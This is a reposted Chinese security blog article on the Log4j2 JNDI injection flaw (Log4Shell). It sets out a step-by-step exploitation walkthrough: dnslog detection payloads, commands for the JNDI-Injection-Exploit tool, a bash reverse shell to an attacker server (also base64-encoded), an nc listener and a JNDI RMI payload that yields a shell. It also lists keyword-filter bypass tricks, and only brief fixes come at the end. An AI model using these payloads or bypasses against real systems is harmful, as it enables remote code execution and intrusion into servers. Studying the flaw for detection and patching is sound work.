log4j2漏洞

admin 2024年11月26日23:05:13评论4 views字数 1756阅读5分51秒阅读模式

目录

log4j2漏洞

漏洞简介

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。
这个漏洞的触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。利用该漏洞涉及到JNDI(Java命名和目录接口),允许从指定的远程服务器获取并加载对象,通常利用LDAP和RMI服务。
Log4j2的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析,如果未对lookup查询服务做限制,就可能让查询指向任何服务。该漏洞正是利用这一点在{}中构造JNDI注入,向攻击者的恶意地址获取恶意的.class对象,造成远程代码执行。

漏洞发现与利用

1、漏洞发现

常用poc:

${JNDI:LDAP://xxxx.dnslog.cn/test}${jndi:rmi://xxxx.dnslog.cn/test}

可在任意输入框、请求头字段如xff、ua中插入poc,观察dnslog网站是否有记录。

推荐BurpSuite插件:log4j2burpscanner

2、漏洞利用

1)首先需要拥有一个VPS,在VPS上构造恶意的.class对象

使用工具:JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C [command] -A [address]-C:指定需要执行的命令-A:指定恶意.class对象所在服务器的ip,这里就是VPSip地址

2)这里需要执行的命令为利用bash反弹shell

bash -i >& /dev/tcp/vps_ip/port 0>&1

由于使用工具JNDI-Injection-Exploit的-C指定命令时,特殊字符会有影响,因此对命令进行base64编码,可在如下网站快速得到编码后的语句:

https://ares-x.com/tools/runtime-exec/

log4j2漏洞

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rjcxxxxxxxxxx=}|{base64,-d}|{bash,-i}

3)使用工具JNDI-Injection-Exploit构造恶意.class类,并开启端口,等待存在漏洞的服务器请求

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rjcxxxxxxxxxx=}|{base64,-d}|{bash,-i}" -A "vps_ip"

log4j2漏洞

4)在vps上开启nc监听

nc -lvp 2333

log4j2漏洞

5)访问存在漏洞的网站,利用payload进行利用,比如说这里使用:

${jndi:rmi://xxx.xxx.xxx.240:1099/lv0edx}

将这个payload放在存在漏洞的位置,即可反弹shell

log4j2漏洞

这里的payload在url中,进行了url编码

6)成功获得shell

log4j2漏洞

绕过方法

1、多${}绕过

在处理${}时会递归查找,并且找到${}后还会查找 :- ,存在如下关系:
${任意字符串:-想要的字符串}=想要的字符串,因此有如下绕过方法:
${${xxxx:-j}ndi:ldap://xxxxx/xxx}=${jndi:ldap://xxxxx/xxx}

2、使用lower和upper绕过

可以使用lower和upper来绕过关键字检测,例如jndi被限制,可以使用如下方法绕过:

${${lower:J}ndi:ldap://xxxxx/xxx}

3、绕过trustcodebase

trustcodebase是RMI中的一个属性,用于决定是否信任远程代码库,当为false时,将不信任远程库,导致漏洞无法利用。
可使用LDAP协议、直接利用本地类加载器、通过返回恶意类的路径而不是内容进行绕过。

修复建议

1、将Log4j升级到安全版本

2、限制不必要的LDAP和RMI请求

3、修改配置,从类路径中移除JndiLookup类

原文始发于微信公众号(simple学安全):log4j2漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月26日23:05:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   log4j2漏洞https://cn-sec.com/archives/3440076.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息